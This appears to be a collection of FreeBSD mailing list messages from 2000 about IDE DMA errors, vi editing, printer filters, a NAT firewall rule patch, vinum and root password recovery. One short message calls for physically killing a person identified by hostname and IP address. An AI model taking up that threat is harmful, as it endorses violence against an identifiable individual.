> > harddrive.  Now I completely reinstalled the system, and I'm getting
> > same error messages with the new one.
> > 
> > ad0: HARD READ ERROR blk# 25418671
> > ad0: DMA problem fallback to PIO mode
> > ad0: HARD READ ERROR blk# 25418687 status=59 error=40
> > ad0: DMA problem fallback to PIO mode
> > ad0: HARD READ ERROR blk# 25418687 status=59 error=40
> > ad0: HARD READ ERROR blk# 25418687 status=59 error=40
> > 
> > I don't quite believe in coinsidence of identical problems happening
> > to successive hard drives.  The new one is a very nice 13G IBM
> > DeskStar 7200rpm, 2Mb cache.

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nathan <beemern@telecom.ksu.edu> writes:

> i assume you "upgraded" fbsd recently?
Not really.  The box has been running 4.0 ever since it came out.  3.X
before that.

> make sure DMA is NOT enabled in the kernel ...  that MIGHT be whats
> happening, your kernel is tryin to use DMA through a non-dma channel
> (your p166 onboard ctrl)

How can I find out if my mobo's IDE controller supports DMA?  It
appears that the second disk has been running in DMA mode for months,
and no problem...

> i don't know what brand of mobo you have, but, being an ex-hardware guy, i've
> RARELY seen onboard IDE controllers go bad.. even on OLD hardware...

It's a Gygabit <sp?> with an HX chipset.

Here are relevant boot-up messages:

pcib0: <Host to PCI bridge> on motherboard
pci0: <PCI bus> on pcib0
isab0: <Intel 82371SB PCI to ISA bridge> at device 7.0 on pci0
isa0: <ISA bus> on isab0
atapci0: <Intel PIIX3 ATA controller> port 0xf000-0xf00f at device 7.1 on pci0
ata1: at 0x170 irq 15 on atapci0
ata1-master: DMA limited to UDMA33, non-ATA66 compliant cable
ad2: 13042MB <IBM-DPTA-371360> [26500/16/63] at ata1-master WDMA2
ad3: 18366MB <QUANTUM BIGFOOT TS19.2A> [37317/16/63] at ata1-slave WDMA2
Mounting root from ufs:/dev/ad2s1a

It's the IBM drive that's giving me grief.  That cable message, is it
of any importance?  I don't think the controller can do ATA-66
anyways, so I figured that DMA33 would do.

Any further thoughts?

> > > I just replaced a hard drive in one computer, because the previous one
> > > died last night.  (It was a 3.5 years old WD, so I thought that it had
> > > to happen).  Well, I was getting these errors with the previous
> > > harddrive.  Now I completely reinstalled the system, and I'm getting
> > > same error messages with the new one.
> > >
> > > ad0: HARD READ ERROR blk# 25418671
> > > ad0: DMA problem fallback to PIO mode
> > > ad0: HARD READ ERROR blk# 25418687 status=59 error=40
> > > ad0: DMA problem fallback to PIO mode
> > > ad0: HARD READ ERROR blk# 25418687 status=59 error=40
> > > ad0: HARD READ ERROR blk# 25418687 status=59 error=40

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	Hi.

=== 8773836928@skytel.com escribía
(Wed, Nov 01, 2000 at 01:47:27PM -0600):

> Hello,
> 
> I have been editing some 
> Perl scripts in vi recently,
> and I find it very annoying
> that Perl cannot comment
> blocks of code, only lines.
> 
> I have been reading the docs in vi, but I can't quite figure out how to do a substitute command that will, say, prepend a # to the next n lines, and later remove the # ( well, the second one I could always use :s and replace the first # with nothing for the next n lines. But the first one is still a mystery to me ).
> 
	Move the cursor to the first line of the block, then type

:.,+5s/^/#/

and you have commented out the current line and the five next.
Something in that line to remove the #s.

> Any insight would be greatly appreciated.
> 
> Thanks!

	HTH
				Manuel Garcia


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Arcady Genkin wrote:

> > make sure DMA is NOT enabled in the kernel ...  that MIGHT be whats
> > happening, your kernel is tryin to use DMA through a non-dma channel
> > (your p166 onboard ctrl)
>
> How can I find out if my mobo's IDE controller supports DMA?  It
> appears that the second disk has been running in DMA mode for months,
> and no problem...

i hear what you're saying... however, the 82371SB (430HXchipset) only supports
ATA/16
(ie.  PIO Mode 4 -- NOT UDMA)
you can  verify this at:
http://developer.intel.com/design/chipsets/drivers/busmastr/

you can go into your BIOS(CMOS) and it should list exactly what its detecting your

harddrives at, like transfer mode, size, etc
it'll prolly be like PIOMode4, and LBA enabled...

> > i don't know what brand of mobo you have, but, being an ex-hardware guy, i've
> > RARELY seen onboard IDE controllers go bad.. even on OLD hardware...
>
> It's a Gygabit <sp?> with an HX chipset.

any chance you could take a peek inside your box and get exact make/model?
or it might show up on POST (this is why i never 'cover' my boxes)

> Here are relevant boot-up messages:
>
> pcib0: <Host to PCI bridge> on motherboard
> pci0: <PCI bus> on pcib0
> isab0: <Intel 82371SB PCI to ISA bridge> at device 7.0 on pci0
> isa0: <ISA bus> on isab0
> atapci0: <Intel PIIX3 ATA controller> port 0xf000-0xf00f at device 7.1 on pci0
> ata1: at 0x170 irq 15 on atapci0
> ata1-master: DMA limited to UDMA33, non-ATA66 compliant cable
> ad2: 13042MB <IBM-DPTA-371360> [26500/16/63] at ata1-master WDMA2
> ad3: 18366MB <QUANTUM BIGFOOT TS19.2A> [37317/16/63] at ata1-slave WDMA2
> Mounting root from ufs:/dev/ad2s1a
>
> It's the IBM drive that's giving me grief.  That cable message, is it
> of any importance?  I don't think the controller can do ATA-66
> anyways, so I figured that DMA33 would do.

well... it WON'T if your controller doesn't support it ):

> Any further thoughts?

rebuild your kernel withOUT DMA and see what happens
good luck!
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Please CC me on any replies.  TIA.

I'm trying to get my old HP Laserjet Series II to work with FreeBSD
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I was wondering what the freeBSD operating system is compatible with as far
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On Wed, Nov 01, 2000 at 01:47:27PM -0600, 8773836928@skytel.com wrote:
> Hello,
> 
> I have been editing some 
> Perl scripts in vi recently,
> and I find it very annoying
> that Perl cannot comment
> blocks of code, only lines.
> 

=comment

for my $code (@lines) {
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> I have been reading the docs in vi, but I can't quite figure out how to
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> replace the first # with nothing for the next n lines. But the first one
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in vim, highlight the section of lines in visual mode (v) and use:
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all,
 
i run a small computer, for various reasons. i was wondering if it was 
possible to cut out teh chunks of teh "/usr/ports/" tree, it took some three 
hours to install. this machine is a i386dx33 with 8 mb dram and an esdi hard 
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i've trageted teh language specific ports to go first, followed by most of teh 
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is thier a special technique i would need to use or would just rm'ing teh 
relevent directories be sufficient (i realise i'd have to check on packages 
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?).

with regards and much thanks

jonathan

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=== Tom Parquette escribia
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> Please CC me on any replies.  TIA.
> 
> I'm trying to get my old HP Laserjet Series II to work with FreeBSD
> 4.1.1-RELEASE.
> For straight text, e.g. lpr of rc.conf, it works as expected.
> When I try to print from Netscape (under enlightenment under Xfree86) I
> get raw postscript on the paper.  (I know my old Laserjet does not
> understand Postscript.)
> 
> Looking at the archives and the man pages, I believe I have to send my
> Postscript print through Ghostscript.  (I have installed V5.50a.)
> 
> Nothing I have found gives me a clue how to rewrite the print filter for
> the laserjet to preprocess postscript using Ghostscript.  My 'vanilla'
> filter looks like this:
> #!/bin/sh
> printf "\033&k2G" && cat && printf "\033&l0H" && exit 0
> exit 2

	See if

/usr/share/examples/printing/ifhp

gives you some clue. You might have to change djet500 to
something different though; launch gs, at the prompt type

devicenames ==

and choose for your filter the one that fits you better.
Maybe ljet2p or laserjet, I suppose you can just try.

> 
> Any help would be appreciated.
> Cheers...
> --

					Manuel Garcia



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On  1 Nov 00 at 5:27, Mike Meyer wrote:

> leoric@home.com types:
> > I have read things from the FreeBSD webpage, archived mailing list
> > posts, and /usr/src/UPDATING. The proper way to build world and build a
> > kernel from source is different in each of these.

<snip>
 
> Be warned that some of the things that can be set in /etc/make.conf
> can cause the method with config to break, and some can cause the
> system to be unbootable until the intallworld is done.

Hi Mike....

I probably shouldn't do this to the thread, however to me it begs the 
question...

In light of another current thread on this list, "beginners with bsd" and 
the various recommendations therein, it would seem that your above warning 
points to a FBSD deficiency that would absolutely and totally collapse a 
computer and/or FBSD newbie's experience with same. What would you see as 
necessary changes to FBSD to preclude such an experience/event and perhaps 
cast FBSD in something other than a "not-for-the-faint-hearted" OS and 
still retain *all* the flexibility that *nix "power-users" require/demand? 
As always, I look forward to your comments. Tia...
-duke
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On  1 Nov 00 at 5:27, Mike Meyer wrote:

> leoric@home.com types:
> > I have read things from the FreeBSD webpage, archived mailing list
> > posts, and /usr/src/UPDATING. The proper way to build world and build a
> > kernel from source is different in each of these.

<snip>
 
> Be warned that some of the things that can be set in /etc/make.conf
> can cause the method with config to break, and some can cause the
> system to be unbootable until the intallworld is done.

Hi Mike....

I probably shouldn't do this to the thread, however to me it begs the 
question...

In light of another current thread on this list, "beginners with bsd" and 
the various recommendations therein, it would seem that your above warning 
points to a FBSD deficiency that would absolutely and totally collapse a 
computer and/or FBSD newbie's experience with same. What would you see as 
necessary changes to FBSD to preclude such an experience/event and perhaps 
cast FBSD in something other than a "not-for-the-faint-hearted" OS and 
still retain *all* the flexibility that *nix "power-users" require/demand? 
As always, I look forward to your comments. Tia...
-duke
Calgary,Alberta, Canada

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On  1 Nov 00 at 5:56, Mike Meyer wrote:

<snip>

> I agree with igor. There is as much to learn with a GUI as with a
> CLI. The difference is that a GUI displays a partial list of things to
> try, instead of having an unknown list of command names. In one case,
> you have to learn what each of the funky buttons does (and I've
> *never* seen a GUI that was intuitively obvious to someone who's never
> used one before), in the other you have to learn the funky words and
> what they do. The GUI makes simple things easy to get to, but that's
> only useful if your definition of "simple things" and the designers
> happen to coincide. If they don't, then you're probably going to wind
> lost in a maze of buttons and menus, trying to find what you
> need. That's much more painful than being lost in a maze of
> directories.

I agree! I've introduced 60+ yr olds to computers who had absolutely *no* 
previous exposure. The win9x GUI was a baffling as a blank, black CLI. 
OTOH, once I installed a *simple* menu program running in a DOS shell, 
showed them the up/down arrows and enter keys, these folks at the 
retirement home quickly rewarded. A couple of months later, I added a 
layer or two to the menu and let them play with *that*. No probs... Once 
they felt comfortable simply sitting in front of a computer and then using 
the menu, learning to navigate the GUI came surprisingly quickly.

IMHnewbieO, the above scenario could have just as easily happened on FBSD. 
However, there's *no way* the majority of the above folks could have 
*installed* FBSD. So maybe an automatic CLI install auto-loading "midc" 
e.g. would be in order? later....




-duke
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I say we find this chap (209-165-91.41.lightspeed.net [209.165.91.41]) 
and kill him/her!

When I say "kill" I mean the physical sense of the term!



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Can you send me the complete (full headers) original email?
I'll see what I can do.

Tony Rini
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>
>When I say "kill" I mean the physical sense of the term!
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In the mail.

LER

* Tony Rini <trini@onemain.com> [001101 15:02]:
> Can you send me the complete (full headers) original email?
> I'll see what I can do.
> 
> Tony Rini
> System Administrator
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> 805.503.7569 o
> 805.471.3477 c
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> At 03:53 PM 11/1/00 -0500, William Melanson wrote:
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> >
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On Tue, 31 Oct 2000, Tim McMillen wrote:

> 
> Much of this is in the handbook, but a very good reference for deep
> internals is the book:
> "The Design and implementation of the 4.4BSD Operating System" By Kirk
> Mckusick

Also: "TCP/IP Illustrated, Vol2: the implementation" by Wright and Stevens.
it's a very good analisys of the 4.4bsd TCP/IP sources

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On Tue, 31 Oct 2000, Dima Dorfman wrote:

> Control+T?  Sample output:
> 
> load: 0.10  cmd: gzip 15818 [running] 0.46u 0.00s 0% 384k

???

I tried pressing Ctrl+t or Ctrl+Shift+T but nothing happens...=P
What's wrong?

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On Tue, 31 Oct 2000, Raymond Law wrote:

> Can someone list the steps on how to add a system call in FreeBSD 4 please?
[mega-snip]

The response to this question seems to be great material for a FAQ.
Anybody out there would like to create it?

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On Wed, 1 Nov 2000, James Lim wrote:

> Hi there,
> 
>         I have recently cvsupped to freebsd 4.2 beta without knowing it
> and my licq has segmentation fault core dump errors. I tried recompiling
> qt and licq and even licq-1.0 from src, and it gave the same error. Has
> anyone got any clue to this?

Licq 1.0 have a lot of problems, It's not a FreeBSD issue.

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Even though I recompiled my kernel without

options ATA_ENABLE_ATAPI_DMA

the ata1 device is still setting the ad2 and ad3 devices to WDMA2 at boot.  
The drives on ata0 are in the correct mode, BIOSPIO.  The workaround I had
for this was to put this line in my /etc/sysctl.conf file:

hw.atamodes=pio,pio,pio,pio

This fixed the problem since it made the change right after the kernel and
drivers were loaded.

Now, three of those four drives I just concat'd together with
vinum.  This works great, except that during boot the kernel loads vinum
and the following errors happen just after.  Right at the end of dmesg:

-------
vinum: loaded
ad2: READ command timeout - resetting
ata1: resetting devices .. done
ad2: READ command timeout - resetting
ata1: resetting devices .. done
ad2: READ command timeout - resetting
ata1: resetting devices .. done
ad2: READ command timeout - resetting
ata1-master: WARNING: WAIT_READY active=ATA_ACTIVE_ATA
ad2: trying fallback to PIO mode
ata1: resetting devices .. done
ad3: READ command timeout - resetting
ata1: resetting devices .. done
ad3: READ command timeout - resetting
ata1: resetting devices .. done
ad3: READ command timeout - resetting
ata1: resetting devices .. done
ad3: READ command timeout - resetting
ata1-slave: WARNING: WAIT_READY active=ATA_ACTIVE_ATA
ad3: trying fallback to PIO mode
ata1: resetting devices .. done
vinum: reading configuration from /dev/da0s1e
vinum: updating configuration from /dev/ad3s1e
vinum: updating configuration from /dev/ad2s1e
vinum: updating configuration from /dev/ad1s1e
-------

The line that I added to sysctl.conf doesn't help with this, because the
sysctl changes from it are made long after vinum is loaded.

How can I prevent this error from happening without starting vinum later,
after the sysctl configuration has happened?

-- 
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flag wrote:
> 
> On Wed, 1 Nov 2000, James Lim wrote:
> 
> > Hi there,
> >
> >         I have recently cvsupped to freebsd 4.2 beta without knowing it
> > and my licq has segmentation fault core dump errors. I tried recompiling
> > qt and licq and even licq-1.0 from src, and it gave the same error. Has
> > anyone got any clue to this?
> 
> Licq 1.0 have a lot of problems, It's not a FreeBSD issue.
> 

Are we sure about that?  Linux running friends of mine have no problems
at all
with Licq 1.0's stability.  I figured it was some sort of threading
issue
or something.

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On Wed, Nov 01, 2000 at 12:04:21PM -0500, Kenneth Wayne Culver wrote:
> On Wed, 1 Nov 2000, Ruslan Ermilov wrote:
> 
> > On Wed, Nov 01, 2000 at 12:27:36AM -0800, Crist J . Clark wrote:
> > > On Wed, Nov 01, 2000 at 09:34:21AM +0200, Ruslan Ermilov wrote:
> > > > On Tue, Oct 31, 2000 at 04:24:12PM -0500, Kenneth Wayne Culver wrote:
> > > > > I just decided to make my firewall rules more strict, so I set my type to
> > > > > "simple" in rc.conf... and now I get this error 
> > > > > Oct 31 16:16:07 culverk natd[139]: failed to write packet back (Permission
> > > > > denied)
> > > > > 
> > > > This happens when ipfw blocks packets written back by natd(8).
> > > > 
> > > > > my rules are the same rules as the "simple" specification in rc.firewall. 
> > > > > 
> > > > There was a problem with the stock "simple" firewall, which has now been
> > > > fixed in 4.1-STABLE (/etc/rc.firewall, rev 1.30.2.5).
> > > > 
> > > > > Could someone tell me how to get rid of this error?
> > > > > 
> > > > Make sure your rc.firewall is rev 1.30.2.5 or higher.
> > > 
> > > Hmmm, I have a 1.30.2.6 file right here and it still looks to me like
> > > it does not have a chance of working for your average natd(8) setup.
> > > 
> > If ${oip} and ${onet} are set to some real values, the "simple" firewall
> > should work.  If they are set to some RFC1918 or draft-manning-dsua ones,
> > this (of course) will not work, and you will have to either delete two
> > "deny" rules (one before and one after the divert rule) that include your
> > ${onet}:${omask} network.  Anything else?
> 
> my oip and onet are real, and I still have the same problem... my iip and
> inet are not real however..

Not real? Are we using complex numbers in our addresses again? I guess
you mean they are not registered, globally-routable addresses, RFC1918
addresses most likely. But yes, the default rc.firewall will not work
if this is the case. All the packets from your internal network will
get dropped by the RFC1918-blocking rules. That's why it will not work
for about 90% of the people doing NAT.

My personal fix is to forget those rules since the way I write my
firewall rules, those packets fall on the floor anyways (I only pass
what I am expecting to get, rather than block what I do not
want). However, if you want to just make some minor adjustments to
rc.firewall, the patch below should help. Note that this adjustment
loses any egress filtering (since it does not make sense to bother
with when doing NAT), so it may not be suitable for non-NAT gateways.

--- /usr/src/etc/rc.firewall    Sat Sep 23 04:30:52 2000
+++ rc.firewall Wed Nov  1 13:36:41 2000
@@ -177,18 +177,18 @@
        ${fwcmd} add deny all from ${onet}:${omask} to any in via ${iif}

        # Stop RFC1918 nets on the outside interface
-       ${fwcmd} add deny all from any to 10.0.0.0/8 via ${oif}
-       ${fwcmd} add deny all from any to 172.16.0.0/12 via ${oif}
-       ${fwcmd} add deny all from any to 192.168.0.0/16 via ${oif}
+       ${fwcmd} add deny all from any to 10.0.0.0/8 in via ${oif}
+       ${fwcmd} add deny all from any to 172.16.0.0/12 in via ${oif}
+       ${fwcmd} add deny all from any to 192.168.0.0/16 in via ${oif}

        # Stop draft-manning-dsua-03.txt (1 May 2000) nets (includes RESERVED-1,
        # DHCP auto-configuration, NET-TEST, MULTICAST (class D), and class E)
        # on the outside interface
-       ${fwcmd} add deny all from any to 0.0.0.0/8 via ${oif}
-       ${fwcmd} add deny all from any to 169.254.0.0/16 via ${oif}
-       ${fwcmd} add deny all from any to 192.0.2.0/24 via ${oif}
-       ${fwcmd} add deny all from any to 224.0.0.0/4 via ${oif}
-       ${fwcmd} add deny all from any to 240.0.0.0/4 via ${oif}
+       ${fwcmd} add deny all from any to 0.0.0.0/8 in via ${oif}
+       ${fwcmd} add deny all from any to 169.254.0.0/16 in via ${oif}
+       ${fwcmd} add deny all from any to 192.0.2.0/24 in via ${oif}
+       ${fwcmd} add deny all from any to 224.0.0.0/4 in via ${oif}
+       ${fwcmd} add deny all from any to 240.0.0.0/4 in via ${oif}

        # Network Address Translation.  This rule is placed here deliberately
        # so that it does not interfere with the surrounding address-checking
@@ -197,6 +197,11 @@
        # translated by natd(8) would match the `deny' rule above.  Similarly
        # an outgoing packet originated from it before being translated would
        # match the `deny' rule below.
+        #
+        # That comment makes no sense. The rules above and below were
+        # identical. Rules modified so this actually works for RFC1918
+        # addresses on the internal interface. - 2000/11/1, cjc
+        #
        case ${natd_enable} in
        [Yy][Ee][Ss])
                if [ -n "${natd_interface}" ]; then
@@ -204,20 +209,6 @@
                fi
                ;;
        esac
-
-       # Stop RFC1918 nets on the outside interface
-       ${fwcmd} add deny all from 10.0.0.0/8 to any via ${oif}
-       ${fwcmd} add deny all from 172.16.0.0/12 to any via ${oif}
-       ${fwcmd} add deny all from 192.168.0.0/16 to any via ${oif}
-
-       # Stop draft-manning-dsua-03.txt (1 May 2000) nets (includes RESERVED-1,
-       # DHCP auto-configuration, NET-TEST, MULTICAST (class D), and class E)
-       # on the outside interface
-       ${fwcmd} add deny all from 0.0.0.0/8 to any via ${oif}
-       ${fwcmd} add deny all from 169.254.0.0/16 to any via ${oif}
-       ${fwcmd} add deny all from 192.0.2.0/24 to any via ${oif}
-       ${fwcmd} add deny all from 224.0.0.0/4 to any via ${oif}
-       ${fwcmd} add deny all from 240.0.0.0/4 to any via ${oif}

        # Allow TCP through if setup succeeded
        ${fwcmd} add pass tcp from any to any established


-- 
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On Wed, Nov 01, 2000 at 08:55:15PM +0100, flag wrote:
| On Tue, 31 Oct 2000, Dima Dorfman wrote:
| 
| > Control+T?  Sample output:
| > 
| > load: 0.10  cmd: gzip 15818 [running] 0.46u 0.00s 0% 384k
| 
| ???
| 
| I tried pressing Ctrl+t or Ctrl+Shift+T but nothing happens...=P
| What's wrong?

You need to do it when the terminal is busy doing something.  If you have
the prompt, then it won't do anything.  Try ssh to a slow connection, or
maybe some file operation that takes a long time .  The key is to get the
terminal to be waiting, with no prompt, while a job is being performed.
Another idea is to start a long tar operation without verbose output.  All
of these things should do it.  Then just hit ctrl t while it is working.


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I figured out a different way of doing that, but it doesn't matter, I'm
just wondering if your changes fix the natd error I was getting.


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On Wed, 1 Nov 2000, Crist J . Clark wrote:

> On Wed, Nov 01, 2000 at 12:04:21PM -0500, Kenneth Wayne Culver wrote:
> > On Wed, 1 Nov 2000, Ruslan Ermilov wrote:
> > 
> > > On Wed, Nov 01, 2000 at 12:27:36AM -0800, Crist J . Clark wrote:
> > > > On Wed, Nov 01, 2000 at 09:34:21AM +0200, Ruslan Ermilov wrote:
> > > > > On Tue, Oct 31, 2000 at 04:24:12PM -0500, Kenneth Wayne Culver wrote:
> > > > > > I just decided to make my firewall rules more strict, so I set my type to
> > > > > > "simple" in rc.conf... and now I get this error 
> > > > > > Oct 31 16:16:07 culverk natd[139]: failed to write packet back (Permission
> > > > > > denied)
> > > > > > 
> > > > > This happens when ipfw blocks packets written back by natd(8).
> > > > > 
> > > > > > my rules are the same rules as the "simple" specification in rc.firewall. 
> > > > > > 
> > > > > There was a problem with the stock "simple" firewall, which has now been
> > > > > fixed in 4.1-STABLE (/etc/rc.firewall, rev 1.30.2.5).
> > > > > 
> > > > > > Could someone tell me how to get rid of this error?
> > > > > > 
> > > > > Make sure your rc.firewall is rev 1.30.2.5 or higher.
> > > > 
> > > > Hmmm, I have a 1.30.2.6 file right here and it still looks to me like
> > > > it does not have a chance of working for your average natd(8) setup.
> > > > 
> > > If ${oip} and ${onet} are set to some real values, the "simple" firewall
> > > should work.  If they are set to some RFC1918 or draft-manning-dsua ones,
> > > this (of course) will not work, and you will have to either delete two
> > > "deny" rules (one before and one after the divert rule) that include your
> > > ${onet}:${omask} network.  Anything else?
> > 
> > my oip and onet are real, and I still have the same problem... my iip and
> > inet are not real however..
> 
> Not real? Are we using complex numbers in our addresses again? I guess
> you mean they are not registered, globally-routable addresses, RFC1918
> addresses most likely. But yes, the default rc.firewall will not work
> if this is the case. All the packets from your internal network will
> get dropped by the RFC1918-blocking rules. That's why it will not work
> for about 90% of the people doing NAT.
> 
> My personal fix is to forget those rules since the way I write my
> firewall rules, those packets fall on the floor anyways (I only pass
> what I am expecting to get, rather than block what I do not
> want). However, if you want to just make some minor adjustments to
> rc.firewall, the patch below should help. Note that this adjustment
> loses any egress filtering (since it does not make sense to bother
> with when doing NAT), so it may not be suitable for non-NAT gateways.
> 
> --- /usr/src/etc/rc.firewall    Sat Sep 23 04:30:52 2000
> +++ rc.firewall Wed Nov  1 13:36:41 2000
> @@ -177,18 +177,18 @@
>         ${fwcmd} add deny all from ${onet}:${omask} to any in via ${iif}
> 
>         # Stop RFC1918 nets on the outside interface
> -       ${fwcmd} add deny all from any to 10.0.0.0/8 via ${oif}
> -       ${fwcmd} add deny all from any to 172.16.0.0/12 via ${oif}
> -       ${fwcmd} add deny all from any to 192.168.0.0/16 via ${oif}
> +       ${fwcmd} add deny all from any to 10.0.0.0/8 in via ${oif}
> +       ${fwcmd} add deny all from any to 172.16.0.0/12 in via ${oif}
> +       ${fwcmd} add deny all from any to 192.168.0.0/16 in via ${oif}
> 
>         # Stop draft-manning-dsua-03.txt (1 May 2000) nets (includes RESERVED-1,
>         # DHCP auto-configuration, NET-TEST, MULTICAST (class D), and class E)
>         # on the outside interface
> -       ${fwcmd} add deny all from any to 0.0.0.0/8 via ${oif}
> -       ${fwcmd} add deny all from any to 169.254.0.0/16 via ${oif}
> -       ${fwcmd} add deny all from any to 192.0.2.0/24 via ${oif}
> -       ${fwcmd} add deny all from any to 224.0.0.0/4 via ${oif}
> -       ${fwcmd} add deny all from any to 240.0.0.0/4 via ${oif}
> +       ${fwcmd} add deny all from any to 0.0.0.0/8 in via ${oif}
> +       ${fwcmd} add deny all from any to 169.254.0.0/16 in via ${oif}
> +       ${fwcmd} add deny all from any to 192.0.2.0/24 in via ${oif}
> +       ${fwcmd} add deny all from any to 224.0.0.0/4 in via ${oif}
> +       ${fwcmd} add deny all from any to 240.0.0.0/4 in via ${oif}
> 
>         # Network Address Translation.  This rule is placed here deliberately
>         # so that it does not interfere with the surrounding address-checking
> @@ -197,6 +197,11 @@
>         # translated by natd(8) would match the `deny' rule above.  Similarly
>         # an outgoing packet originated from it before being translated would
>         # match the `deny' rule below.
> +        #
> +        # That comment makes no sense. The rules above and below were
> +        # identical. Rules modified so this actually works for RFC1918
> +        # addresses on the internal interface. - 2000/11/1, cjc
> +        #
>         case ${natd_enable} in
>         [Yy][Ee][Ss])
>                 if [ -n "${natd_interface}" ]; then
> @@ -204,20 +209,6 @@
>                 fi
>                 ;;
>         esac
> -
> -       # Stop RFC1918 nets on the outside interface
> -       ${fwcmd} add deny all from 10.0.0.0/8 to any via ${oif}
> -       ${fwcmd} add deny all from 172.16.0.0/12 to any via ${oif}
> -       ${fwcmd} add deny all from 192.168.0.0/16 to any via ${oif}
> -
> -       # Stop draft-manning-dsua-03.txt (1 May 2000) nets (includes RESERVED-1,
> -       # DHCP auto-configuration, NET-TEST, MULTICAST (class D), and class E)
> -       # on the outside interface
> -       ${fwcmd} add deny all from 0.0.0.0/8 to any via ${oif}
> -       ${fwcmd} add deny all from 169.254.0.0/16 to any via ${oif}
> -       ${fwcmd} add deny all from 192.0.2.0/24 to any via ${oif}
> -       ${fwcmd} add deny all from 224.0.0.0/4 to any via ${oif}
> -       ${fwcmd} add deny all from 240.0.0.0/4 to any via ${oif}
> 
>         # Allow TCP through if setup succeeded
>         ${fwcmd} add pass tcp from any to any established
> 
> 
> -- 
> Crist J. Clark                           cjclark@alum.mit.edu
> 



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Mike wrote:
> 
> Is there a way to find the time it takes to execute a cgi program writte in
> C, and the same for the time it takes a PHP script to run from. (preferably
> output that time on the page generated from the script.)?

I do "time make buildworld" most of the time.

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nathan <beemern@telecom.ksu.edu> writes:

> > It's a Gygabit <sp?> with an HX chipset.
> 
> any chance you could take a peek inside your box and get exact
> make/model?  or it might show up on POST (this is why i never
> 'cover' my boxes)

It's a GA-586HX.
http://www.giga-byte.com/gigabyte-web/mdiscontinued.htm#ea4d
BTW, what is POST?

It says "mode 3,4 IDE".  So I guess no DMA for disks.

Now the question is how to disable DMA in the kernel.  I see option
#options         ATA_ENABLE_ATAPI_DMA
but it's commented out.  Is there any other way to tell the kernel not
to use DMA for ata driver?

> > pcib0: <Host to PCI bridge> on motherboard
> > pci0: <PCI bus> on pcib0
> > isab0: <Intel 82371SB PCI to ISA bridge> at device 7.0 on pci0
> > isa0: <ISA bus> on isab0
> > atapci0: <Intel PIIX3 ATA controller> port 0xf000-0xf00f at device 7.1 on pci0
> > ata1: at 0x170 irq 15 on atapci0
> > ata1-master: DMA limited to UDMA33, non-ATA66 compliant cable
> > ad2: 13042MB <IBM-DPTA-371360> [26500/16/63] at ata1-master WDMA2
> > ad3: 18366MB <QUANTUM BIGFOOT TS19.2A> [37317/16/63] at ata1-slave WDMA2
> > Mounting root from ufs:/dev/ad2s1a

> rebuild your kernel withOUT DMA and see what happens

I would happily do so.  Now if I only could figure out how... ;^)
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Or, put another way, ffs (the FreeBSD file system) runs on top of vinum,
not the other way around.

Alfred Perlstein wrote:
> 
> * Gary Dunn <gdunng@mac.com> [001031 15:28] wrote:
> 
> using an already mounted filesystem to back a raid setup is a BAD idea.
> 
> >
> >  vinum -> create vinumcfg
> >    1: drive a device /dev/da0s3e
> >  ** 1 : Invalid argument
> >    2: drive b device /dev/da1s1e
> >  ** 2 : Invalid argument
> 
> of course, they're mounted and not fstype 'vinum' which the manpage
> explains:
> 
>    DRIVE LAYOUT CONSIDERATIONS
>      vinum drives are currently BSD disk partitions.  They must be of type
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>      shows a typical partition layout as shown by disklabel:
> 
> ...
> 
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On Wed, Nov 01, 2000 at 11:45:52AM -0500, pW wrote:

|As for root opening up an X app... use just 'su' instead of 'su -'

Hmmm... I wasn't looking for this solution. But thanks anyway ;)
I'm interested about how xauth works and I believe this has something to do
with X cookies. Please CMIIW.
Where can I read more about this?

|For mail, look into qmail as well... I am pretty happy with it...

I'm a long-time qmail user ;) Just look at my header. Even use it for my
"dial-up - not connected to the net machine"
I'm just interested in postfix cause I saw many mail server's switching to
postfix now. There got to be some reason right so I spare some time to have
a look at postfix.

Currently I don't plan to move all my mail server to postfix cause I have a
great dependencies for ezmlm and vpopmail.
I believe ezmlm is still the best MLM and damn it's so tightly coupled with
qmail ;)
I heard some mentioning listar though. How about it. Can someone tell me a
bit about listar? Maybe even comparing qmail+ezmlm vs postfix+listar?

|shawn

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On Wed, Nov 01, 2000 at 05:29:30PM +0300, Igor Roboul wrote:

|> practise server. All went fine. Do I have to modify any entry in
|> /etc/rc.conf? Currently I let my system to run sendmail.
|
|You don't. But you need modify /etc/mail/mailer.conf 
|"man mailer.conf" at shell prompt without quotes

That of course had already been taken care by ``make replace'' in
/usr/ports/mail/postfix-current

Sorry if I was not making my question too clear. All I'm interested is in
sendmail_flags entry in /etc/defaults/rc.conf. It says "-bd -q30m"
Does it suit postfix?

BTW about SASL. Anyone had a success building postfix-current port with SASL
support? The cyrus-sasl port initiated by ``make WITH_SASL="YES"'' in
postfix-current port went fine without a hiccup. But postfix build stopped
(I can't paste the error message now) and the error message tells me
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Hi all,

                I have actually tried 0.61, 0.80 0.81 0.85 and 1.0. All gave
me the same problem, core dumped. Is there anyway to debug or read the core
dump?

Regards,
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> > Hi there,
> >
> >         I have recently cvsupped to freebsd 4.2 beta without knowing it
> > and my licq has segmentation fault core dump errors. I tried recompiling
> > qt and licq and even licq-1.0 from src, and it gave the same error. Has
> > anyone got any clue to this?
>
> Licq 1.0 have a lot of problems, It's not a FreeBSD issue.
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Arcady Genkin wrote:

> It's a GA-586HX.
> http://www.giga-byte.com/gigabyte-web/mdiscontinued.htm#ea4d
> BTW, what is POST?

Power On Self Test - you can read more accurate info than i can provide about it on
web
ex:  http://www.matrix-bios.nl/post.html

> It says "mode 3,4 IDE".  So I guess no DMA for disks.
>
> Now the question is how to disable DMA in the kernel.  I see option
> #options         ATA_ENABLE_ATAPI_DMA
> but it's commented out.  Is there any other way to tell the kernel not
> to use DMA for ata driver?

what file is that you are looking at?
hmmm i'm starting to run a thin on ideas.. if indeed you kernel is compiled w/o  DMA
then it might still be detecting it just cuz the drive is saying its DMA capable.

its just hard for me to believe that the onboard controller is bad in such a way that
its corrupting
your drive, but still letting you see drives etc
usually, when they DO break (seldom in my experience) they break completely

heh.. at this point.. i've forgotten your original symptom.. have to recheck

> > rebuild your kernel withOUT DMA and see what happens
>
> I would happily do so.  Now if I only could figure out how... ;^)

see the handbook on building custom kernels on at freebsd.org for complete accurate
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I changed the password to root and now I can't remember it on my BSD box =
I can't access anything except a:
login:

Then I tried to boot into Single User Mode:
(1) REBOOTED BSD SERVER=20
(2) I PRESSED <F1> AT PROMT
(3) I PRESSED THE <SPACEBAR>
(4) I GOT TO A BOOT PROMPT:
boot: <--here I typed the -s=20
(5) Then I went to a timer 9sec boot after I wait
(6) Then I go directly to login prompt?
login:


Can you please tell me how to get back into root


Thanks
Mike

